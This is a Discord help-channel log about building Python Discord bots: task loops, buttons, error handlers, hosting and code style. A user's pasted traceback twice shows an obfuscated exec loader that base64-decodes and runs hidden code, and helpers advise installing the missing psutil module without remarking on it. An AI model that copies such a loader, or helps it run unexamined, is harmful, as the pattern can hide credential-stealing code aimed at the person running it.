Oops, yeah add await
๐ฟ
Hey i'm trying to create a Discord bot EZverything was working fine until now, when i try to use pip i get ModuleNotFoundError: No module named 'pip'but pip is installed since i can use "pip help" from the windows terminal Could anyone help me ?

What's the difference between Loop.stop() and Loop.cancel()?
!d discord.ext.tasks.Loop
class discord.ext.tasks.Loop```
A background task helper that abstracts the loop and reconnection logic for you.
The main interface to create this is through [`loop()`](https://discordpy.readthedocs.io/en/master/ext/tasks/index.html#discord.ext.tasks.loop "discord.ext.tasks.loop").
!e
print("hello World")
#bot-commands
I read the docs but I don't get what it means
Stop says it
Gracefully stops the task from running.
Unlike cancel(), this allows the task to finish its current iteration before gracefully exiting.
but neither stop() or cancel() stop my task without letting it finish
!d discord.ext.tasks.Loop.cancel
cancel()```
Cancels the internal task, if it is running.
!d discord.ext.tasks.Loop.stop
stop()```
Gracefully stops the task from running.
Unlike [`cancel()`](https://discordpy.readthedocs.io/en/master/ext/tasks/index.html#discord.ext.tasks.Loop.cancel "discord.ext.tasks.Loop.cancel"), this allows the task to finish its current iteration before gracefully exiting.
Note
If the internal function raises an error that can be handled before finishing then it will retry until it succeeds.
If this is undesirable, either remove the error handling before stopping via [`clear_exception_types()`](https://discordpy.readthedocs.io/en/master/ext/tasks/index.html#discord.ext.tasks.Loop.clear_exception_types "discord.ext.tasks.Loop.clear_exception_types") or use [`cancel()`](https://discordpy.readthedocs.io/en/master/ext/tasks/index.html#discord.ext.tasks.Loop.cancel "discord.ext.tasks.Loop.cancel") instead.
Changed in version 2.0: Calling this method in [`before_loop()`](https://discordpy.readthedocs.io/en/master/ext/tasks/index.html#discord.ext.tasks.Loop.before_loop "discord.ext.tasks.Loop.before_loop") will stop the first iteration from running...
Cancel shouldn't let it finish.
as sten said, if youre iterating in the task and youre trying to close the loop stop() stops the task after the iteration is done, unlike cancel.
Not sure what happened to my code but i was running something along the lines of ```py
[task].stop()
await asyncio.sleep(80)
[othertask].start()
then the other task will start this task
and I was getting errors saying that the first task hadn't completed so the 2nd couldn't start it
but now I have it to ```py
await asyncio.sleep(80)
[othertask].start()
[task].cancel()
and it's working
even though the top was working for me
but I had some code in the other task that should have cancelled the task but it didn't```py
Prevent task from throwing an error by starting a running task
while [task].is_running():
pront("ERROR", "Fortune task was already running when sync fired, something has gone terribly wrong.")
[task].cancel()
await asyncio.sleep(1)
[task].start()
Why doesn't this give me any errors
oof
error handling in your main file is all you need. if its in your main file its automatically global
Ah okay
can someone help me in #help-potato ?
@client.event
async def on_command_error(ctx,error):
if isinstance(error, commands.MissingPermissions):
em = discord.Embed(title='Error', description=f"{ctx.author.mention}, You don't have the permissions to do this.", color=0xCC1313)
await ctx.send(embed=em)
``` Like that, in my main file?
yes
let me try
any alternatives for the break thing
how to get the full name of a emoji? like <cross:then a number etc
its an hold discussion but i have the same issue. a "database" is not the solution here.
let's say that the bot is hosted on heroku, it will restart every 2 days; i think.
now, once it restart, it reset every cooldown to 0, the point here is to first save them before the bot shutdown and retrieve them when it start.
so yes, you can host the cooldowns on a db, but how can you get the cooldown of each commands first before the bot shutdown ?
.stop() isn't blocking iirc, so it's just asking the task to stop, and will continue on with the next line of code. What you're looking for is something like ```py
task.stop()
while task.is_running():
await asyncio.sleep(2)
do_something_else()
this will check every 2 seconds if the task has actually stopped, and only then will continue with code exectution
Now its this:```py
em = discord.Embed(title='
Error', description=f"{ctx.author.mention}, You don't have the permissions to do this.", color=0xCC1313)
it'll run forever if I use that though
for whatever reason the only way I can stop my task is by cancelling at the very end now
It shouldn't
!paste if it's long
Pasting large amounts of code
If your code is too long to fit in a codeblock in discord, you can paste your code here:
https://paste.pythondiscord.com/
After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.
Anyone?
Do Embed titles even support emojis?
How do I know
Probably better to set the author icon to the url of th emoji
custom emoji is supported in embed titles so maybe double check the id
Ah cool, good to know, thanks ๐
ive ran a few tests on it before
Well it's from a private server, does that matter?
It doesn't support markdown though right?
Is the bot your testing with in that custom server?
@tasks.loop(seconds = 1)
async def sync():
time = datetime.now().strftime("%H:%M")
if time == "12:00":
# Prevent task from throwing an error by starting a running task
if fortune.is_running():
pront("ERROR", "Fortune task was already running when sync fired, something has gone terribly wrong.")
fortune.cancel()
fortune.start()
@tasks.loop(seconds = 86400)
async def fortune():
sync.stop()
# Declare time now so the exec duration of fortune doesn't matter
time = datetime.now().strftime("%H:%M")
# Do a bunch of junk here
# Flag for fortune taking longer than a minute to exec
if time != datetime.now().strftime("%H:%M"):
pront("ERROR", "!!!!!!!!!!!!!!!!!!!!\nFortune task took > 1 minute to execute, DO SOMETHING\n!!!!!!!!!!!!!!!!!!!!")
# Safeguard against fortune desync
if time != "12:00":
pront("ERROR", "Fortune task has become desynced with system time, restarting sync.")
# Wait so sync task doesn't immediately restart fortune
await asyncio.sleep(80)
sync.start()
# Not sure why I have to use cancel now but I do to actually close fortune()
fortune.cancel()
No the emoji it's just from a private server where its not in and I am in it
Bots can only use emojis from servers they are in
before I had fortune.stop() above asyncio.sleep and no cancel
ah alright
then I know what to do
Invite the bot to that server, add that emoji to the server you're testing with, or use a standard emoji
I can't it's just a emoji I found because I got nitro
I'll just add the emoji to my testing server
๐โ๐ซ all of these are standard emojis, so can be used anywhere
ah ye
Any help you guys want?
Hey basically im trying to make a TicTacToe game implementing Buttons(i.e if the top left button was clicked and the turn was from the 1st player, the button gets switched to a Button with an X Emoji etc...) and my problem is Sending the Buttons and formating them. Im trying to send them via ctx.send(components=) but my problem is in how can i format my buttons. I'd need 3 columns but i dont know if components supports that. I cant think of any other way of sending the buttons
why arent the perms request_to_speak stream not in the dev portal?
use discord.py master version, not 3rd party libraries for buttons
Nextcord ones are pretty nice.... but yes use the master version
API wise you would use three action rows to get 3x3, however im not sure how discord-interactions does it
theyre the same as main?
isnt it when you are putting the class you can do row=3? or collum=3?
nextcord is just a fork.
I have no idea.
Is there any significant difference between discord.py and discord.py master?
i know
they just subclass View?
for dpy 2.0 views yeah, you can give each button a row number from 0-4
idk dont ask me about views im bad at it
ah ok

nope, its just the updated version of discord.py with minor changes
not really, dpy 2.0 has a fair number of breaking changes
yes, sort of
discord.py 2.0 is the name they gave to a few changes on the master branch that were supposed to be published before the discontinuation
you should by all means avoid using discord.py, use a trusted, maintained fork instead
mostly related to asyncio
!pypi disnake
the new way of starting a bot with context managers is so weird to me i hate it
could be a lot of things, depends on your implementation of oAuth
why? it is now maintained again
It is?
How can i create this
Exaple:
list = ["kaka"]
If message contasin in list:
await message.delete()
probably need a for loop to run through your list
huh, i haven't kept up with the news i suppose
@cedar smelt please remove the bot invite from your code before posting it
it still trips our filters
replace it with foobar or whatever
Discord py is being maintained again, but master branch is not stable enough yet I think
that would just check letters
i think they are trying to make a list with curse words hence why i assumed they'd want to make multiple elements
the if statement is enough
Can u help me and give code?
If I start to make a bot from scratch, what library do I use?
True yeah youre right
i dont think it ever was considered "stable" but bots can still run on it just fine
I think what your problem is deleting the message right
disnake or discord.py or hikari
Well it worked pretty good where it was left off but yeah
I could i dont find it useful though if you want to learn the language
With current version I've found myself with some issues
wow nextcord is feeling left out 
Does this automatically include discord.py 2.0?
Considering it says 1.7.3 I don't think so
This ones the right one i guess
yeah
Just open your own help channel. #โ๏ฝhow-to-get-help
Hypercorn?
What does that mean?
!d os.execv
os.execv(path, args)``````py
os.execve(path, args, env)``````py
os.execvp(file, args)```
These functions all execute a new program, replacing the current process; they do not return. On Unix, the new executable is loaded into the current process, and will have the same process id as the caller. Errors will be reported as [`OSError`](https://docs.python.org/3/library/exceptions.html#OSError "OSError") exceptions.
The current process is replaced immediately. Open file objects and descriptors are not flushed, so if there may be data buffered on these open files, you should flush them using `sys.stdout.flush()` or [`os.fsync()`](https://docs.python.org/3/library/os.html#os.fsync "os.fsync") before calling an [`exec*`](https://docs.python.org/3/library/os.html#os.execl "os.execl") function.
Any bot developers here?
ofc
just ask your question, you don't need to ask that
sus

you can just check with print(discord.__version__)
why is my buttons not being send??
never seen src code of nextcord so im not gonna recommend it
code?
@Client.command()
async def button(ctx):
await ctx.send(
"",
components = [
Button(style=ButtonStyle.red, label = 'test!')
]
)
interaction = await Client.wait_for("button_click", check=lambda i: i.component.label.startswith(""))
await interaction.respond(content="test")```
just why
??
but how to fix
Donโt use 3rd party component libraries, bad ones at that
They were fine when people were scrambling after d.py archived but why at this stage
yeah listen to robin prove my point more because he has helper role 
so its because i also have nextcord and stuff?
because he has helper role?
yes
doesnt nextcord have buttons?
yes

so i should nextcord for buttons?
yes
can you send example for a button in nextcord?
atleast nexcord wont get archived in 6more months
except dpy buttons 3rd party lib
Here's an example of nextcord buttons https://github.com/nextcord/nextcord/blob/master/examples/views/confirm.py
what
I might be missunderstanding
are there stuff i should turn on in the oath2 invite for the bot to get the buttons to work
buttons don't require any scopes other than bot
okay, but im curious why my buttons don't work. For 2 weeks ago, they worked
is 1.0 couned as integer hmmm
@slate swan :white_check_mark: Your eval job has completed with return code 0.
<class 'float'>
ok
when are you gonna upload i wanna give feedback bully you because of the tutorial

float max 2 dp right?
decimal point
no floats in python have much more precision than that
~15 digits of precision iirc
!e print(type(1.000000000000000010))
!e print(type(1.000000000000026472162713213123123100010))
anything with a decimal point will be a float
okok
it may not retain the same precision its given with however
if it doesnt have one its an int lol
what about 0.11111....
yes
ok
0.1 + 0.2
0.30000000000000004
so pi is also float?
yes
though only precise to a certain amount of bits
ah yeah that
whats that called again? when it doesnt do math precisely
rounding errors?
no i think it was called something else
I just installed visual studio code should I also install python?
i forgot
it needs an interpreter yes and the python extension
4
yes ?
So now I give you permission to change things on my device right?
So what do I do now I'm not used to visual studio code ?
press install now
pretty easy ui you just have to explore and play with it
sup
hi
hi
how do i start discord bot prefix
indents dont work
they break whatever is working

is there a way to get a list of allowed permissions?
?
what about it?
how ?
!d discord.ext.commands.Bot.command_prefix
The command prefix is what the message content must contain initially to have a command invoked. This prefix could either be a string to indicate what the prefix should be, or a callable that takes in the bot as its first parameter and discord.Message as its second parameter and returns the prefix. This is to facilitate โdynamicโ command prefixes. This callable can be either a regular function or a coroutine.
An empty string as the prefix always matches, enabling prefix-less command invocation. While this may be useful in DMs it should be avoided in servers, as itโs likely to cause performance issues and unintended command invocations.
how what
oh
no thats not for you
i replied to the correct message which you arent the author of it.
._.XD
this is giving a authentication error
what
.-.?
How do i fix this ?
File "c:\Users\dhope\OneDrive\Tyรถpรถytรค\main.py", line 3, in <module>
import requests
ModuleNotFoundError: No module named 'requests'```
you need to install it
pip install requests and if you are gonna make request with the lib for your bot use aiohttp
!pypi aiohttp
how do i make the bot send a Ephemeral message when clicking on buttons using discord.ui?
thx, now it says sum like this
File "c:\Users\dhope\OneDrive\Tyรถpรถytรค\main.py", line 14, in <module>
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))
File "<string>", line 8, in <module>
ModuleNotFoundError: No module named 'psutil'```
youd pass ephemeral=True to interaction.response.send_message()
oh thank you
await ctx.channel.history```
how can I get the users that sent a message in the channel
you could iterate through each message and add the author to a set
e.g. py recent_users = set() async for message in channel.history(): recent_users.add(message.author)
confused
on how to use history()?
kinda
you either use it in an async for loop like in the example, or if you wanted a list you could flatten() it
await channel.history().flatten()
authors = [message.author for message in await channel.history(limit=100).flatten()]
Does Discord bot need some kind of a permission to see other peoples activities? Because currently the bot is returning nothing (it shows activity on disc tho)
yeah the members intent is needed
it's on
both in dev page and your code?
authors = [message.author.name for message in await channel.history(limit=100).flatten()]
oh wait yeah, forgot those were separate 
That's crazy
you should use listen and no need for that for loop just check if that string is in the message content string
You are banning them before sending the reason to them xD
Also you can't mention after his gone
you should refresh your token, pylance gave out each part of it in that errors list
as a side note banning people after just doing a basic keyword check is a really bad idea, what happens if someone says a message like is discord.gg an official website?
oh ok
How to make it show only one of the same user instead of multiple of the same users
for this use regex
dicts?
i would also suggest trying to resolve the invite's guild in case its just an invite to the same guild

await bans()```
This function is a [*coroutine*](https://docs.python.org/3/library/asyncio-task.html#coroutine).
Retrieves all the users that are banned from the guild as a [`list`](https://docs.python.org/3/library/stdtypes.html#list "(in Python v3.10)") of [`BanEntry`](https://discordpy.readthedocs.io/en/master/api.html#discord.BanEntry "discord.BanEntry").
You must have the [`ban_members`](https://discordpy.readthedocs.io/en/master/api.html#discord.Permissions.ban_members "discord.Permissions.ban_members") permission to get this information.
!d discord.Member.unban and just use this
await unban(*, reason=None)```
This function is a [*coroutine*](https://docs.python.org/3/library/asyncio-task.html#coroutine).
Unbans this member. Equivalent to [`Guild.unban()`](https://discordpy.readthedocs.io/en/master/api.html#discord.Guild.unban "discord.Guild.unban").
Also in general I'd just not autoban for something so nuanced at all, send an alert to a staff channel or something, but autobanning if you're not 100% confident is generally not a good idea, even in a server with over 400k members we just delete invites, not ban the member without staff approval
How do i fix this?
File "c:\Users\dhope\OneDrive\Tyรถpรถytรค\main.py", line 14, in <module>
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))
File "<string>", line 8, in <module>
ModuleNotFoundError: No module named 'psutil'```
you need to install psutil
How do I execute python code in this chat
!e
yes but thats a useless variable
Hey everyone. Iโm looking to get an VPS For my bot. What do you guys suggest
because you dont need it?
the variable is a literal string
Whatโs your issue
!e
mylist = ["a", "b", "a", "c", "c"]
mylist = list( dict.fromkeys(mylist) )
print(mylist)```
@tidal hawk :white_check_mark: Your eval job has completed with return code 0.
['a', 'b', 'c']
alr
Linode and Hetzner are good choices for smaller (ish) providers, GCP, AWS, and Azure are also good choices
bro just check the string in the message content which is a string
Iโm looking for in the USA
whats slowa
ok?
bro i literally just solved your issue
Would you recommended any that is easy to setup
Need to run your bot 24/7? Get a cheap VPS.
https://www.scaleway.com/ EU https://www.linode.com/ US/EU/Asia
https://www.digitalocean.com/ US https://www.vultr.com/ US
https://www.ovh.co.uk/ EU/Canada https://www.hetzner.com/ Germany/US
https://www.time4vps.eu/ Lithuania.
Self-hosting: Free hosting: Kinda free:
Any computer. No. Not even heroku. GCP, AWS have one year free micros.
scroll up
any of the above are fairly easy, the easiest would be Linode or Hetzner because they dont have massive control panels with a ton of features
Dannys tag on dpy server
@slate swan :white_check_mark: Your eval job has completed with return code 0.
1
haha
bro its basic oop
message wont be defined since its not a message obj of the dpy lib
I have 3 VPS in mind and ensure which is better and easy to setup . Digital ocean OR vultr OR galaxy gate
Yeah, but you don't accidentally say discord.gg/ inside a sentence.
yeah i recommended regex
@tidal hawk
If you want no duplicates, you can use a set:
!e
my_list = [1, 2, 3, 3, 4, 7, 7, 9]
my_set = set(my_list)
print(my_set)

@winged bone :white_check_mark: Your eval job has completed with return code 0.
{1, 2, 3, 4, 7, 9}
DO and Vultr are both decent choices, I'd avoid galaxygate since they have worse uptime and pretty crap terms and conditions
!e
print(list(set([1, 2, 3, 3, 4, 7, 7, 9])))
@slate swan :white_check_mark: Your eval job has completed with return code 0.
[1, 2, 3, 4, 7, 9]
yes but use listen
Doesn't really matter.
!d discord.ext.commands.Bot.listen
@listen(name=None)```
A decorator that registers another function as an external event listener. Basically this allows you to listen to multiple events from different places e.g. such as [`on_ready()`](https://discordpy.readthedocs.io/en/master/api.html#discord.on_ready "discord.on_ready")
The functions being listened to must be a [coroutine](https://docs.python.org/3/library/asyncio-task.html#coroutine "(in Python v3.10)").
Example...
I have 3 VPS in mind and ensure which is better and easy to setup . Digital ocean OR vultr OR galaxy gate
saving a line doesn't matter to you? and having multiple events?
Not that much
How to check if a class is inside tuple union? For example, check the existence of Spotify in user activities
activities returns: Tuple[Union[BaseActivity, Spotify]]
isinstance?
not that much until you have a script of 5k lines which can be done in 1k lines
how should i make a ban command
how do u color the message like that ?
They meant instead of client.event use client.listen.
if i may ask
!code
Here's how to format Python code on Discord:
```py
print('Hello world!')
```
These are backticks, not quotes. Check this out if you can't find the backtick key.
@client.listen() *
Wait. With my bot I have txt files where you have to constantly update the txt files because you put your software keys into it. It that gonna miss up the vps?
That wouldn't save 4k lines
@client.event
async def on message```
THATS SO COOL OMG
thats not my point. my point is saving lines is important
Alright
You mean like a setup file or are u using a file as storage?
saving lines is less important than making your code readable; you should be optimising for readability and clarity, not shortness

of course to an extent being short helps, but shortness should be a way of achieving clarity, it should not be the result you are aiming for
PEP8-
essentially, you don't use type hints? your code is unreadable xD
A file as storage. I sell an software and that software needs keys and I put my keys into those txt files so when I type !daykey it gets an keys and prints it in discord then deletes it
#esoteric-python this channel disagrees 
the idea of esoteric code is not to be clear 
readability should not really be an issue. if you know python enough you should know how to read code that is optimised and short so you can save storage.
The vps shouldn't mess that up in any way but I would recommend a database for that, you never know what might happen
Readability is an issue
How would do I use an database may I ask
Wait why would you want to save 20kb of storage?
Storage is incredibly cheap and we have a ton of it, saving a few bytes on disk is not worth the mental effort required to parse harder to read code
For large code bases this is heavily discouraged
you guys all missed my point.
the mindset that making your code tiny is better will simply limit you from writing good clear code, and understanding what your code does when you read it again a week later
Well this guy is halfway right tho
Well that's not answer proper to this channel really. You can ask for help here: #databases
It's like writing a diary in your own codewords
You won't want to share it with anyone
how is that really an issue? you made a good optimized code but then you check it like you didnt have experience its not quite right? not sure if i missed your point

Any mental effort required to understand unreadable code is effort you can't be spending on actual application logic, you should be focusing on solving problems with your code and making it better, you should not be focusing on trying to understand what you wrote last week
Nah, you want to do ```py
await client.get_guild(6282819182829291).get_channel(93929101032021103).get_member738291933922933).send(embed = discord.Embed(title="ysjaka", description ="ywjwoslalqla"))
#instead of
guild = client.get_guild(288291929931)
channel = guild.get_channel(1992838292919)
member = channel.get_member(28291992939302)
embed = discord.Embed(...)
await member.send(embed = embed)
It's a fact that less readable code simply takes more effort to parse, that's effort you don't need to be spending if you just write clean code initially
Btw why are you guys discussing it here-
Amount of lines, or clear code.
Discord = discussion
thats your only point? useless variables?
And you use the word optimise a lot; optimising for space complexity doesn't do anything because we have so much space available, and if you need extreme efficiency Python is not the right language anyway, so fine optimisation has no reason to be prioritised over readability
It look nice tho
Still better with readable code
it does matter depending who you work for and your codes base


